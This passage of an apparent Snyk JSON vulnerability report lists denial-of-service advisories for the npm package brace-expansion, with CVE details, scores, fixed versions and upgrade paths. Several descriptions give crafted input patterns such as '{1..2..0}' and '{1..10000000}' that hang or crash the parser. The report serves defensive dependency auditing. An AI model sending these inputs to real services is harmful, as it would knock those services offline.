"vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": 